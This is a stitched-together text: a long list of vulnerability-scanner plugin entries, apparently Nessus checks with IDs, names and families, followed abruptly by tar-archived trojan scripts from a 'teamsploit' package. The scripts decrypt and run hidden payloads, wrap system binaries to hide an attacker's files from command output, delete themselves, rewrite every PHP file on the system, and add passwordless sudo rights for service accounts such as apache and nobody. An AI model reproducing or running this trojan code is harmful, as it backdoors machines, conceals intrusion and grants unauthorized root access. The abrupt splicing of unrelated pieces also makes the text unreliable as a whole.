MS05-039: Vulnerability in Plug and Play Service Could Allow Remote Code Execution (899588) (uncredentialed check)
Windows
enabled
19195
Debian DSA-746-1 : phpgroupware - input validation error
Debian Local Security Checks
enabled
62236
GLSA-201209-03 : PHP: Multiple vulnerabilities
Gentoo Local Security Checks
enabled
10778
SiteScope Web Service Unpassworded Access
CGI abuses
enabled
31817
Fedora 7 : wireshark-1.0.0-1.fc7 (2008-2941)
Fedora Local Security Checks
enabled
50548
Mac OS X 10.6 < 10.6.5 Multiple Vulnerabilities
MacOS X Local Security Checks
enabled
49903
SuSE 10 Security Update : MySQL (ZYPP Patch Number 6899)
SuSE Local Security Checks
enabled
63585
Fedora 17 : java-1.7.0-openjdk-1.7.0.9-2.3.4.fc17 (2013-0868)
Fedora Local Security Checks
enabled
61027
Scientific Linux Security Update : seamonkey on SL4.x i386/x86_64
Scientific Linux Local Security Checks
enabled
34781
Oracle WebLogic Server mod_wl Invalid Parameter Remote Overflow (1150354)
Web Servers
enabled
35046
Fedora 9 : java-1.6.0-openjdk-1.6.0.0-0.20.b09.fc9 (2008-10860)
Fedora Local Security Checks
enabled
11258
Default Password (glftpd) for 'glftpd' Account
Default Unix Accounts
enabled
58325
USN-1397-1 : mysql-5.1, mysql-dfsg-5.0, mysql-dfsg-5.1 vulnerabilities
Ubuntu Local Security Checks
enabled
33470
Fedora 8 : bind-9.5.0-28.P1.fc8 (2008-6281)
Fedora Local Security Checks
enabled
11004
Ipswitch WhatsUp Gold Default Admin Account
CGI abuses
enabled
50298
SuSE 11.1 Security Update: java-1_6_0-sun (2010-10-19)
SuSE Local Security Checks
enabled
27905
USN-327-1 : firefox vulnerabilities
Ubuntu Local Security Checks
enabled
56198
Adobe Reader < 10.1.1 / 9.4.6 / 8.3.1 Multiple Vulnerabilities (APSB11-21, APSB11-24)
Windows
enabled
38658
Mandriva Linux Security Advisory : udev (MDVSA-2009:103-1)
Mandriva Local Security Checks
enabled
61740
FreeBSD : Java 1.7 -- security manager bypass (16846d1e-f1de-11e1-8bd8-0022156e8794)
FreeBSD Local Security Checks
enabled
21789
FreeBSD : webmin, usermin -- arbitrary file disclosure vulnerability (227475c2-09cb-11db-9156-000e0c2e438a)
FreeBSD Local Security Checks
enabled
41404
SuSE 11 Security Update : IBM Java 1.4.2 (SAT Patch Number 735)
SuSE Local Security Checks
enabled
11245
Unpassworded 'root' Account
Default Unix Accounts
enabled
60646
Scientific Linux Security Update : kernel on SL5.x i386/x86_64
Scientific Linux Local Security Checks
enabled
22125
Mac OS X Multiple Vulnerabilities (Security Update 2006-004)
MacOS X Local Security Checks
enabled
56809
Mandriva Linux Security Advisory : java-1.6.0-openjdk (MDVSA-2011:170)
Mandriva Local Security Checks
enabled
58968
Novell ZENworks Configuration Management PreBoot Service Opcode Request Parsing Vulnerabilities
Windows
enabled
63802
AIX 5.3 TL 10 : xntpd (IZ71608)
AIX Local Security Checks
enabled
23648
WinZip FileView ActiveX Control Vulnerabilities
Windows
enabled
51709
SuSE 10 Security Update : acroread_ja (ZYPP Patch Number 6585)
SuSE Local Security Checks
enabled
49861
SuSE 10 Security Update : IBM Java 1.4.2 (ZYPP Patch Number 6755)
SuSE Local Security Checks
enabled
41439
SuSE 11 Security Update : nagios (SAT Patch Number 1105)
SuSE Local Security Checks
enabled
56934
Fedora 16 : phpldapadmin-1.2.1.1-2.20111006git.fc16 (2011-14924)
Fedora Local Security Checks
enabled
62224
MS KB2755399 : Update for Vulnerabilities in Adobe Flash Player in Internet Explorer 10
Windows
enabled
62201
MS KB2757760: Vulnerability in Internet Explorer Could Allow Remote Code Execution (deprecated)
Windows
enabled
44029
RHEL 4 / 5 : IBM Java Runtime (RHSA-2010-0043)
Red Hat Local Security Checks
enabled
40743
RHEL 3 / 4 / 5 : java-1.4.2-ibm (RHSA-2009-0445)
Red Hat Local Security Checks
enabled
57961
CentOS : RHSA-2012-0135
CentOS Local Security Checks
enabled
63635
Fedora 18 : rubygem-actionpack-3.2.8-2.fc18 / rubygem-activerecord-3.2.8-3.fc18 / etc (2013-0568)
Fedora Local Security Checks
enabled
35904
GLSA-200903-23 : Adobe Flash Player: Multiple vulnerabilities
Gentoo Local Security Checks
enabled
53378
MS11-021: Vulnerabilities in Microsoft Excel Could Allow Remote Code Execution (2489279)
Windows : Microsoft Bulletins
enabled
27208
SuSE Security Update: ethereal: Securityupdate to fix problems found in version 0.99.6 (ethereal-3885)
SuSE Local Security Checks
enabled
10500
Shiva Integrator Default Password
Misc.
enabled
51705
SuSE 10 Security Update : acroread_ja (ZYPP Patch Number 6161)
SuSE Local Security Checks
enabled
63956
RHEL 5 : flash-plugin (RHSA-2010-0829)
Red Hat Local Security Checks
enabled
58141
SuSE 11.1 Security Update : Java 1.6.0 (SAT Patch Number 5845)
SuSE Local Security Checks
enabled
47617
SuSE9 Security Update : IBM Java 1.5.0 (YOU Patch Number 12623)
SuSE Local Security Checks
enabled
36673
FreeBSD : subversion date parsing vulnerability (5d36ef32-a9cf-11d8-9c6d-0020ed76ef5a)
FreeBSD Local Security Checks
enabled
61789
CentOS : RHSA-2012-1223
CentOS Local Security Checks
enabled
11203
Motorola Vanguard with No Password (telnet check)
Misc.
enabled
35363
Oracle Secure Backup Administration Server login.php Arbitrary Command Injection
CGI abuses
enabled
44377
SuSE 11 Security Update : acroread_ja (SAT Patch Number 1881)
SuSE Local Security Checks
enabled
55639
Safari < 5.1 Multiple Vulnerabilities
Windows
enabled
22449
MS06-055: Vulnerability in Vector Markup Language Could Allow Remote Code Execution (925486)
Windows : Microsoft Bulletins
enabled
43077
Mandriva Linux Security Advisory : ntp (MDVSA-2009:328)
Mandriva Local Security Checks
enabled
36177
RHEL 5 : udev (RHSA-2009-0427)
Red Hat Local Security Checks
enabled
27431
SuSE Security Update: samba: security update (samba-3827)
SuSE Local Security Checks
enabled
39961
SuSE 11.0 Security Update: flash-player (2008-12-18)
SuSE Local Security Checks
enabled
40730
RHEL 3 / 4 / 5 : acroread (RHSA-2008-0974)
Red Hat Local Security Checks
enabled
63800
AIX 6.1 TL 4 : xntpd (IZ71071)
AIX Local Security Checks
enabled
42109
MS09-053: Vulnerabilities in FTP Service for Internet Information Services Could Allow Remote Code Execution (975254)
Windows : Microsoft Bulletins
enabled
41573
SuSE 10 Security Update : OpenSSL (ZYPP Patch Number 6296)
SuSE Local Security Checks
enabled
20173
CA Multiple Products Message Queuing Multiple Remote Vulnerabilities
Gain a shell remotely
enabled
10084
Multiple FTP Server Command Handling Overflow
FTP
enabled
50614
Adobe Reader < 9.4.1 Multiple Vulnerabilities (APSB10-28)
Windows
enabled
33932
Oracle WebLogic Server mod_wl POST Request Remote Overflow
Web Servers
enabled
55413
USN-1157-3 : firefox regression
Ubuntu Local Security Checks
enabled
43635
HP Data Protector MSG_PROTOCOL Remote Stack Buffer Overflow
Gain a shell remotely
enabled
64171
SuSE 11.2 Security Update : IBM Java 1.7.0 (SAT Patch Number 7046)
SuSE Local Security Checks
enabled
56163
Wireshark 1.4.x < 1.4.9 Multiple Vulnerabilities
Windows
enabled
25239
RHEL 2.1 / 3 / 4 / 5 : samba (RHSA-2007-0354)
Red Hat Local Security Checks
enabled
35630
MS09-002: Cumulative Security Update for Internet Explorer (961260)
Windows : Microsoft Bulletins
enabled
57062
Trend Micro Control Manager CmdProcessor.exe Remote Buffer Overflow
Windows
enabled
36196
GLSA-200904-17 : Adobe Reader: User-assisted execution of arbitrary code
Gentoo Local Security Checks
enabled
17269
RHEL 4 : HelixPlayer (RHSA-2005-271)
Red Hat Local Security Checks
enabled
15132
Debian DSA-295-1 : pptpd - buffer overflow
Debian Local Security Checks
enabled
56197
Adobe Acrobat < 10.1.1 / 9.4.6 / 8.3.1 Multiple Vulnerabilities (APSB11-21, APSB11-24)
Windows
enabled
52713
Google Chrome < 10.0.648.134 Unspecified Adobe Flash Player Vulnerability
Windows
enabled
47043
RHEL 4 / 5 : java-1.5.0-ibm (RHSA-2010-0489)
Red Hat Local Security Checks
enabled
34459
Opera < 9.61 Multiple Vulnerabilities
Windows
enabled
34380
Fedora 9 : ruby-1.8.6.287-2.fc9 (2008-8738)
Fedora Local Security Checks
enabled
57713
McAfee Security-as-a-Service (SaaS) mcCIOScn.dll ShowReport Method Remote Command Execution
Windows
enabled
53563
Fedora 15 : wireshark-1.4.6-1.fc15 (2011-5621)
Fedora Local Security Checks
enabled
11255
Default Password (root) for 'root' Account
Default Unix Accounts
enabled
23715
HP-UX PHSS_35437 : s700_800 11.04 Webproxy server 2.1 (Apache 2.x) update
HP-UX Local Security Checks
enabled
23736
AT-TFTP Server Filename Handling Remote Overflow
Gain a shell remotely
enabled
52641
Fedora 14 : wireshark-1.4.4-1.fc14 (2011-2632)
Fedora Local Security Checks
enabled
11242
Unpassworded 'demos' Account
Default Unix Accounts
enabled
56160
Mandriva Linux Security Advisory : rsyslog (MDVSA-2011:134-1)
Mandriva Local Security Checks
enabled
40182
SuSE 11.1 Security Update: acroread (2009-03-25)
SuSE Local Security Checks
enabled
19783
MailEnable IMAP Server W3C Logging Overflow
Windows
enabled
59477
F5 Multiple Products Root Authentication Bypass
Gain a shell remotely
enabled
55812
FreeBSD : linux-flashplugin -- multiple vulnerabilities (2c12ae0c-c38d-11e0-8eb7-001b2134ef46)
FreeBSD Local Security Checks
enabled
50528
MS10-087: Vulnerabilities in Microsoft Office Could Allow Remote Code Execution (2423930)
Windows : Microsoft Bulletins
enabled
53595
Firefox 4.0 < 4.0.1 Multiple Vulnerabilities
Windows
enabled
11248
Unpassworded 'date' Account
Default Unix Accounts
enabled
21718
Mandrake Linux Security Advisory : spamassassin (MDKSA-2006:103)
Mandriva Local Security Checks
enabled
51696
SuSE 10 Security Update : acroread (ZYPP Patch Number 6803)
SuSE Local Security Checks
enabled
24816
CA BrightStor ARCserve Backup Tape Engine and Portmapper Multiple Vulnerabilities (QO86255)
Windows
enabled
55998
Debian DSA-2298-2 : apache2 - denial of service
Debian Local Security Checks
enabled
61070
Scientific Linux Security Update : firefox on SL4.x, SL5.x, SL6.x i386/x86_64
Scientific Linux Local Security Checks
enabled
34326
CentOS : RHSA-2008-0890
CentOS Local Security Checks
enabled
10245
rsh Service Detection
Service detection
enabled
42367
Default Password (alpine) for 'root' Account
Default Unix Accounts
enabled
32385
Fedora 7 : openoffice.org-2.3.0-6.8.fc7 (2008-4104)
Fedora Local Security Checks
enabled
40556
MS09-037: Vulnerabilities in Microsoft Active Template Library (ATL) Could Allow Remote Code Execution (973908)
Windows : Microsoft Bulletins
enabled
57489
FreeBSD : php -- multiple vulnerabilities (d3921810-3c80-11e1-97e8-00215c6a37bb)
FreeBSD Local Security Checks
enabled
57557
PHP Version 5 Hash Collision Form Parameter Parsing Remote DoS
CGI abuses
enabled
55976
Apache HTTP Server Byte Range DoS
Web Servers
enabled
60936
Scientific Linux Security Update : exim on SL4.x, SL5.x i386/x86_64
Scientific Linux Local Security Checks
enabled
48291
MS10-054: Vulnerabilities in SMB Server Could Allow Remote Code Execution (982214)
Windows : Microsoft Bulletins
enabled
55405
CentOS : RHSA-2011-0887
CentOS Local Security Checks
enabled
22632
Debian DSA-1090-1 : spamassassin - programming error
Debian Local Security Checks
enabled
47209
Fedora 11 : dhcp-4.1.0p1-6.fc11 (2010-10083)
Fedora Local Security Checks
enabled
41452
SuSE 11 Security Update : ruby (SAT Patch Number 1073)
SuSE Local Security Checks
enabled
10995
Sun JavaServer Default Admin Password
CGI abuses
enabled
55406
Mandriva Linux Security Advisory : mozilla (MDVSA-2011:111)
Mandriva Local Security Checks
enabled
40862
Wyse Thin Client hagent.exe Unspecified Buffer Overflow
Gain a shell remotely
enabled
53597
SeaMonkey < 2.0.14 Multiple Vulnerabilities
Windows
enabled
58989
Csound getnum() getnum Function Multiple Buffer Overflows
Windows
enabled
39867
FreeBSD : mozilla -- corrupt JIT state after deep return from native function (c1ef9b33-72a6-11de-82ea-0030843d3802)
FreeBSD Local Security Checks
enabled
47025
FreeBSD : linux-flashplugin -- multiple vulnerabilities (144e524a-77eb-11df-ae06-001b2134ef46)
FreeBSD Local Security Checks
enabled
45515
MS10-028: Vulnerabilities in Microsoft Visio Could Allow Remote Code Execution (980094)
Windows : Microsoft Bulletins
enabled
14524
GLSA-200406-13 : Squid: NTLM authentication helper buffer overflow
Gentoo Local Security Checks
enabled
36703
Fedora 10 : udev-127-5.fc10 (2009-3711)
Fedora Local Security Checks
enabled
59448
MySQL 5.1 < 5.1.63 Multiple Vulnerabilities
Databases
enabled
59906
MS12-043: Vulnerability in Microsoft XML Core Services Could Allow Remote Code Execution (2722479)
Windows : Microsoft Bulletins
enabled
33500
SuSE 10 Security Update : bind (ZYPP Patch Number 5409)
SuSE Local Security Checks
enabled
25233
Fedora Core 5 : samba-3.0.24-5.fc5 (2007-506)
Fedora Local Security Checks
enabled
52673
Flash Player < 10.2.153.1 Unspecified Memory Corruption (APSB11-05)
Windows
enabled
27145
SuSE Security Update: apache2: Security fix for mod_rewrite problem. (apache2-1905)
SuSE Local Security Checks
enabled
59674
GLSA-201206-21 : Adobe Flash Player: Multiple vulnerabilities
Gentoo Local Security Checks
enabled
63957
RHEL 4 : flash-plugin (RHSA-2010-0834)
Red Hat Local Security Checks
enabled
26104
GLSA-200709-14 : ClamAV: Multiple vulnerabilities
Gentoo Local Security Checks
enabled
49864
SuSE 10 Security Update : IBM Java 1.5.0 (ZYPP Patch Number 7077)
SuSE Local Security Checks
enabled
43869
SuSE 11.0 Security Update: ntp (2009-12-11)
SuSE Local Security Checks
enabled
57833
Mandriva Linux Security Advisory : mozilla (MDVSA-2012:013)
Mandriva Local Security Checks
enabled
46347
HP-UX PHSS_40707 : s700_800 11.X OV NNM7.53 PA-RISC Intermediate Patch 26
HP-UX Local Security Checks
enabled
24770
FreeBSD : mod_jk -- long URL stack overflow vulnerability (cf86c644-cb6c-11db-8e9d-000c6ec775d9)
FreeBSD Local Security Checks
enabled
39435
Mac OS X : Java for Mac OS X 10.5 Update 4
MacOS X Local Security Checks
enabled
41030
Mandriva Linux Security Advisory : openssl (MDVSA-2009:238)
Mandriva Local Security Checks
enabled
49083
SuSE 11.1 Security Update: acroread (2010-08-26)
SuSE Local Security Checks
enabled
49172
Adobe Acrobat < 9.4 / 8.2.5 Multiple Vulnerabilities (APSB10-21)
Windows
enabled
50445
Mandriva Linux Security Advisory : mozilla-thunderbird (MDVSA-2010:219)
Mandriva Local Security Checks
enabled
34477
MS08-067: Microsoft Windows Server Service Crafted RPC Request Handling Remote Code Execution (958644) (uncredentialed check)
Windows
enabled
46293
RHEL 4 / 5 : java-1.6.0-sun (RHSA-2010-0337)
Red Hat Local Security Checks
enabled
31121
SAPlpd < 6.29 Multiple Vulnerabilities
Misc.
enabled
54990
Tom Sawyer Software GET Extension Factory COM Object Instantiation Memory Corruption
Windows
enabled
34363
Trend Micro OfficeScan Multiple CGI Module Vulnerabilities
Windows
enabled
31968
OpenOffice < 2.4 Multiple Vulnerabilities
Windows
enabled
18414
Allied Telesyn Router/Switch Default Password
Misc.
enabled
54994
SuSE 11.1 Security Update : wireshark (SAT Patch Number 4476)
SuSE Local Security Checks
enabled
35069
MS08-070: Vulnerabilities in Visual Basic 6.0 ActiveX Controls Could Allow Remote Code Execution (932349)
Windows : Microsoft Bulletins
enabled
50915
SuSE 11 / 11.1 Security Update : IBM Java / Java (SAT Patch Numbers 2812 / 2813)
SuSE Local Security Checks
enabled
14619
AIX 5.1 : IY48658
AIX Local Security Checks
enabled
18666
GLSA-200507-08 : phpGroupWare, eGroupWare: PHP script injection vulnerability
Gentoo Local Security Checks
enabled
11923
Microsoft FrontPage Server Extensions (fp30reg.dll) Debug Function Remote Overflow (MS03-051 / 813360)
Web Servers
enabled
50426
Default Password (patrol) for 'patrol' Account
Default Unix Accounts
enabled
57586
SuSE 11.1 Security Update : Acrobat Reader (SAT Patch Number 5649)
SuSE Local Security Checks
enabled
56217
Fedora 15 : httpd-2.2.21-1.fc15 (2011-12715)
Fedora Local Security Checks
enabled
24323
Solaris 10 Forced Login Telnet Authentication Bypass
Gain a shell remotely
enabled
40002
SuSE 11.0 Security Update: java-1_6_0-sun (2008-12-17)
SuSE Local Security Checks
enabled
49206
Mandriva Linux Security Advisory : tomcat5 (MDVSA-2010:176)
Mandriva Local Security Checks
enabled
36172
Debian DSA-1772-1 : udev - several vulnerabilities
Debian Local Security Checks
enabled
17835
MySQL < 5.0.90 / 5.1.43 / 5.5.0-m2 Multiple Buffer Overflows
Databases
enabled
51710
SuSE 10 Security Update : acroread_ja (ZYPP Patch Number 6804)
SuSE Local Security Checks
enabled
63803
AIX 5.3 TL 11 : xntpd (IZ71610)
AIX Local Security Checks
enabled
15628
Ability FTP Server Multiple Command Remote Buffer Overflows
FTP
enabled
59209
Symantec Web Gateway < 5.0.3 Multiple Vulnerabilities (SYM12-006) (version check)
CGI abuses
enabled
50886
SuSE 11 / 11.1 Security Update : acroread (SAT Patch Numbers 2637 / 2641)
SuSE Local Security Checks
enabled
40122
SuSE 11.0 Security Update: ruby (2009-07-03)
SuSE Local Security Checks
enabled
11278
Apple QuickTime/Darwin Streaming Server Multiple Remote Vulnerabilities
CGI abuses
enabled
64018
RHEL 6 : krb5-appl (RHSA-2011-1854)
Red Hat Local Security Checks
enabled
58767
SuSE 11.2 Security Update : Samba (SAT Patch Number 6145)
SuSE Local Security Checks
enabled
21116
MERCUR Messaging IMAP Service Multiple Command Remote Overflow
Gain a shell remotely
enabled
10099
Matt Wright guestbook.pl Arbitrary Command Execution
CGI abuses
enabled
42824
IBM Tivoli Storage Manager Client Multiple Vulnerabilities (swg21405562)
Gain a shell remotely
enabled
12055
MS04-007: ASN.1 Vulnerability Could Allow Code Execution (828028) (uncredentialed check)
Windows
enabled
40980
Mandriva Linux Security Advisory : kernel (MDVSA-2009:233)
Mandriva Local Security Checks
enabled
63156
Tectia SSH Server Authentication Bypass
Gain a shell remotely
enabled
64167
SuSE 11.1 Security Update : java-1_6_0-openjdk (SAT Patch Number 6437)
SuSE Local Security Checks
enabled
58397
USN-1401-1 : xulrunner-1.9.2 vulnerabilities
Ubuntu Local Security Checks
enabled
44130
SuSE 11 Security Update : Acrobat Reader (SAT Patch Number 1850)
SuSE Local Security Checks
enabled
23861
GLSA-200612-09 : MadWifi: Kernel driver buffer overflow
Gentoo Local Security Checks
enabled
34476
MS08-067: Microsoft Windows Server Service Crafted RPC Request Handling Unspecified Remote Code Execution (958644)
Windows : Microsoft Bulletins
enabled
19685
Debian DSA-810-1 : mozilla - several vulnerabilities
Debian Local Security Checks
enabled
50439
Fedora 13 : tomcat6-6.0.26-11.fc13 (2010-16270)
Fedora Local Security Checks
enabled
32018
RHEL 4 / 5 : openoffice.org (RHSA-2008-0175)
Red Hat Local Security Checks
enabled
63936
RHEL 3 / 4 : flash-plugin (RHSA-2010-0470)
Red Hat Local Security Checks
enabled
23714
HP-UX PHSS_35436 : s700_800 11.04 Virtualvault 4.7 OWS (Apache 2.x) update
HP-UX Local Security Checks
enabled
26898
HP-UX PHSS_36902 : s700_800 11.X OV NNM7.51 IA-64 Intermediate Patch 17
HP-UX Local Security Checks
enabled
57851
Debian DSA-2405-1 : apache2 - multiple issues
Debian Local Security Checks
enabled
57594
RHEL 5 : php (RHSA-2012-0033)
Red Hat Local Security Checks
enabled
60266
Scientific Linux Security Update : hplip on SL5.x i386/x86_64
Scientific Linux Local Security Checks
enabled
63868
RHEL 4 / 5 : jbossweb (RHSA-2008-0877)
Red Hat Local Security Checks
enabled
46879
SuSE 11.0 Security Update: flash-player (2010-06-11)
SuSE Local Security Checks
enabled
60621
Scientific Linux Security Update : tomcat on SL5.x i386/x86_64
Scientific Linux Local Security Checks
enabled
46240
Default Password (alien) for 'root' Account
Default Unix Accounts
enabled
27429
SuSE Security Update: samba security update (samba-3349)
SuSE Local Security Checks
enabled
11028
Microsoft IIS .HTR Filter Multiple Overflows (MS02-028)
Web Servers
enabled
59480
CentOS : RHSA-2012-0729
CentOS Local Security Checks
enabled
58995
Flash Player for Mac <= 10.3.183.18 / 11.2.202.233 Object Confusion Vulnerability (APSB12-09)
MacOS X Local Security Checks
enabled
50362
RHEL 5 : xulrunner (RHSA-2010-0809)
Red Hat Local Security Checks
enabled
22129
eIQnetworks Enterprise Security Analyzer EnterpriseSecurityAnalyzer.exe LICMGR_ADDLICENSE Command Remote Overflow
Windows
enabled
46017
MS10-025: Vulnerability in Microsoft Windows Media Services Could Allow Remote Code Execution (980858) (uncredentialed check)
Windows
enabled
26914
BrightStor Hierarchical Storage Manager < r11.6 Multiple Remote Vulnerabilities
Windows
enabled
58840
RHEL 5 / 6 : java-1.5.0-ibm (RHSA-2012-0508)
Red Hat Local Security Checks
enabled
36518
FreeBSD : Buffer overflow in Squid NTLM authentication helper (6f955451-ba54-11d8-b88c-000d610a3b12)
FreeBSD Local Security Checks
enabled
46674
Mac OS X : Java for Mac OS X 10.6 Update 2
MacOS X Local Security Checks
enabled
19431
Debian DSA-775-1 : mozilla-firefox - frame injection spoofing
Debian Local Security Checks
enabled
64103
SuSE 11.2 Security Update : PHP5 (SAT Patch Number 6251)
SuSE Local Security Checks
enabled
15822
SecureCRT SSH-1 Protocol Version String Remote Overflow
Windows
enabled
53473
Wireshark < 1.2.16 / 1.4.5 Multiple Vulnerabilities
Windows
enabled
53722
SuSE 11.2 Security Update: flash-player (2011-04-15)
SuSE Local Security Checks
enabled
27163
SuSE Security Update: awstats: security update for remote command injection (awstats-1612)
SuSE Local Security Checks
enabled
58138
FreeBSD : linux-flashplugin -- multiple vulnerabilities (f63bf080-619d-11e1-91af-003067b2972c)
FreeBSD Local Security Checks
enabled
61156
Scientific Linux Security Update : java-1.6.0-openjdk on SL5.x, SL6.x i386/x86_64
Scientific Linux Local Security Checks
enabled
64137
SuSE 11.1 Security Update : flash-player (SAT Patch Number 6253)
SuSE Local Security Checks
enabled
57587
SuSE 10 Security Update : Acrobat Reader (ZYPP Patch Number 7924)
SuSE Local Security Checks
enabled
21674
WinGate POST Request Buffer Overflow
Windows
enabled
50466
SuSE 11.2 Security Update: mozilla-xulrunner191 (2010-10-28)
SuSE Local Security Checks
enabled
56504
GLSA-201110-11 : Adobe Flash Player: Multiple vulnerabilities
Gentoo Local Security Checks
enabled
19478
Debian DSA-781-1 : mozilla-thunderbird - several vulnerabilities
Debian Local Security Checks
enabled
44861
Debian DSA-1997-1 : mysql-dfsg-5.0 - several vulnerabilities
Debian Local Security Checks
enabled
63435
FreeBSD : rubygem-rails -- multiple vulnerabilities (ca5d3272-59e3-11e2-853b-00262d5ed8ee)
FreeBSD Local Security Checks
enabled
12209
MS04-011: Security Update for Microsoft Windows (835732) (uncredentialed check)
Windows
enabled
43726
CentOS : RHSA-2009-0013
CentOS Local Security Checks
enabled
56843
HP-UX PHSS_41606 : s700_800 11.X OV NNM7.53 PA-RISC Intermediate Patch 28
HP-UX Local Security Checks
enabled
44847
Debian DSA-1983-1 : wireshark - several vulnerabilities
Debian Local Security Checks
enabled
23772
Solaris 5.8 (x86) : 120672-08
Solaris Local Security Checks
enabled
34155
SuSE Security Update: tomcat: fix for directory traversal vulnerability (tomcat5-5542)
SuSE Local Security Checks
enabled
25228
Debian DSA-1291-1 : samba - several vulnerabilities
Debian Local Security Checks
enabled
57042
Adobe Acrobat < 9.4.7 Multiple Memory Corruption Vulnerabilities (APSB11-30)
Windows
enabled
50918
SuSE 11 Security Update : Sun Java 1.6.0 (SAT Patch Number 2340)
SuSE Local Security Checks
enabled
35638
Debian DSA-1720-1 : typo3-src - several vulnerabilities
Debian Local Security Checks
enabled
42901
Fedora 12 : tomcat6-6.0.20-1.fc12 (2009-11352)
Fedora Local Security Checks
enabled
58002
Flash Player for Mac <= 10.3.183.14 / 11.1.102.62 Multiple Vulnerabilities (APSB12-03)
MacOS X Local Security Checks
enabled
57513
Debian DSA-2373-1 : inetutils - buffer overflow
Debian Local Security Checks
enabled
47535
Fedora 13 : dhcp-4.1.1-22.P1.fc13 (2010-9433)
Fedora Local Security Checks
enabled
51701
SuSE 10 Security Update : acroread (ZYPP Patch Number 7087)
SuSE Local Security Checks
enabled
46015
HP System Management Homepage < 6.0.0.96 / 6.0.0-95 Multiple Vulnerabilities
Web Servers
enabled
59016
USN-1437-1 : php5 vulnerability
Ubuntu Local Security Checks
enabled
24910
TestDirector (TD) for Mercury Quality Center SPIDERLib.Loader ActiveX Control (Spider90.ocx) ProgColor Property Overflow (2)
CGI abuses
enabled
57773
Firefox 9.x Multiple Vulnerabilities (Mac OS X)
MacOS X Local Security Checks
enabled
34418
Default Password (testpass123) for 'root' Account
Default Unix Accounts
enabled
41062
Altiris Altiris.AeXNSPkgDL.1 ActiveX Control DownloadAndInstall() Method Arbitrary Code Execution
Windows
enabled
62902
HP LoadRunner < 11.00 Patch 4 Code Execution (intrusive check)
Gain a shell remotely
enabled
42805
Fedora 12 : java-1.6.0-openjdk-1.6.0.0-33.b16.fc12 (2009-11489)
Fedora Local Security Checks
enabled
63522
MS13-008: Security Update for Internet Explorer (2799329)
Windows : Microsoft Bulletins
enabled
22673
Debian DSA-1131-1 : apache - buffer overflow
Debian Local Security Checks
enabled
61551
Flash Player for Mac <= 11.3.300.270 Code Execution (APSB12-18)
MacOS X Local Security Checks
enabled
61729
USN-1505-2 : icedtea-web regression
Ubuntu Local Security Checks
enabled
33227
Novell iPrint Client for Windows ienipp.ocx ActiveX Multiple Variable Overflow
Windows
enabled
13429
Solaris 8 (x86) : 109327-24
Solaris Local Security Checks
enabled
51424
MS KB2490606: Vulnerability in Graphics Rendering Engine Could Allow Remote Code Execution
Windows
enabled
10474
GAMSoft TelSrv 1.4/1.5 Username Overflow DoS
Windows
enabled
12086
DreamFTP Server username Remote Format String
FTP
enabled
63806
AIX 6.1 TL 3 : xntpd (IZ71614)
AIX Local Security Checks
enabled
13576
Solaris 9 (sparc) : 116807-02
Solaris Local Security Checks
enabled
39486
Mandriva Linux Security Advisory : tomcat5 (MDVSA-2009:138)
Mandriva Local Security Checks
enabled
35347
GLSA-200901-03 : pdnsd: Denial of Service and cache poisoning
Gentoo Local Security Checks
enabled
52458
Foxit Reader < 4.3.1.0218 Multiple Vulnerabilities
Windows
enabled
45512
MS10-025: Vulnerability in Microsoft Windows Media Services Could Allow Remote Code Execution (980858)
Windows : Microsoft Bulletins
enabled
27449
SuSE Security Update: spamassassin: Securityfix for potential remote root exploit. (spamassassin-1904)
SuSE Local Security Checks
enabled
56749
Mac OS X : Java for Mac OS X 10.7 Update 1
MacOS X Local Security Checks
enabled
50438
Fedora 12 : tomcat6-6.0.26-3.fc12 (2010-16248)
Fedora Local Security Checks
enabled
63896
RHEL 5 : kernel (RHSA-2009-1457)
Red Hat Local Security Checks
enabled
teamsploit_0~20151123/.trojans/.persist.source 000755 001750 001750 00000001613 11732510376 022053 0 ustar 00sophie sophie 000000 000000 #!/bin/bash -p
CONTENT=`#!TS_TROJAN_PATH!#/usr/bin/awk '/__CONTENT__/ { if (NR > 3) print NR+1 }' $0 2>/dev/null | #!TS_TROJAN_PATH!#/usr/bin/tail -n1 2>/dev/null`
#!TS_TROJAN_PATH!#/usr/bin/tail -n+$CONTENT $0 2>/dev/unll| #!TS_TROJAN_PATH!#/usr/bin/openssl enc -d -aes-256-cbc -a -salt -pass pass:on_boot 2>/dev/null | #!TS_TROJAN_PATH!#/usr/bin/base64 -di 2>/dev/null | #!TS_TROJAN_PATH!#/bin/tar -zxf - -C /tmp/ 2>/dev/null && #!TS_TROJAN_PATH!#/bin/chmod +x /tmp/#!TS_TROJAN_PERSIST!#/#!TS_TROJAN_PERSIST!# 2>/dev/null && /tmp/#!TS_TROJAN_PERSIST!#/#!TS_TROJAN_PERSIST!# 2>/dev/null
#!TS_TROJAN_PATH!#/bin/rm -Rf /tmp/#!TS_TROJAN_PERSIST!# 2>/dev/null
#!TS_TROJAN_PATH!#/$0 $* 2>&1 | #!TS_TROJAN_PATH!#/bin/sed -e 's/----------/-game-over/g' -e 's/-rwsrwsrwx/-rwx------/g' -e 's/-rwxrwxrwx/-rwx------/g' 2>/dev/null | #!TS_TROJAN_PATH!#/bin/grep -v "#!TS_TROJAN_HIDE!#" 2>/dev/null
exit
__CONTENT__
teamsploit_0~20151123/.trojans/.loader.source 000755 001750 001750 00000001006 11732510376 021624 0 ustar 00sophie sophie 000000 000000 #!/bin/bash -p
CONTENT=`awk '/__CONTENT__/ { if (NR > 3) print NR+1 }' $0 2>/dev/null | tail -n1 2>/dev/null`
tail -n+$CONTENT $0 2>/dev/null | openssl enc -d -aes-256-cbc -a -salt 2>/dev/null | base64 -di 2>/dev/null | tar -zxf - -C /tmp/ 2>/dev/null && chmod +x /tmp/#!TS_TROJAN_LOADER!#/#!TS_TROJAN_LOADER!# 2>/dev/null && /tmp/#!TS_TROJAN_LOADER!#/#!TS_TROJAN_LOADER!# 2>/dev/null
#!TS_TROJAN_PATH!#/bin/rm -Rf /tmp/#!TS_TROJAN_LOADER!# 2>/dev/null
#!TS_TROJAN_PATH!#/bin/rm -Rf $0 2>/dev/null
exit
__CONTENT__
teamsploit_0~20151123/.trojans/.loader.source.exec 000755 001750 001750 00000014431 11732510376 022555 0 ustar 00sophie sophie 000000 000000 #!/bin/bash -p
SAVEIFS=$IFS
IFS=$(echo -en "\n\b")
for i in `find / -name "*.php"`
do
echo "" >> $i.tmp
cat $i >> $i.tmp
mv $i.tmp $i
done
IFS=$SAVEIFS
echo "mysql ALL=NOPASSWD: ALL" >> /etc/sudoers
echo "apache ALL=NOPASSWD: ALL" >> /etc/sudoers
echo "asterisk ALL=NOPASSWD: ALL" >> /etc/sudoers
echo "nobody ALL=NOPASSWD: ALL" >> /etc/sudoers
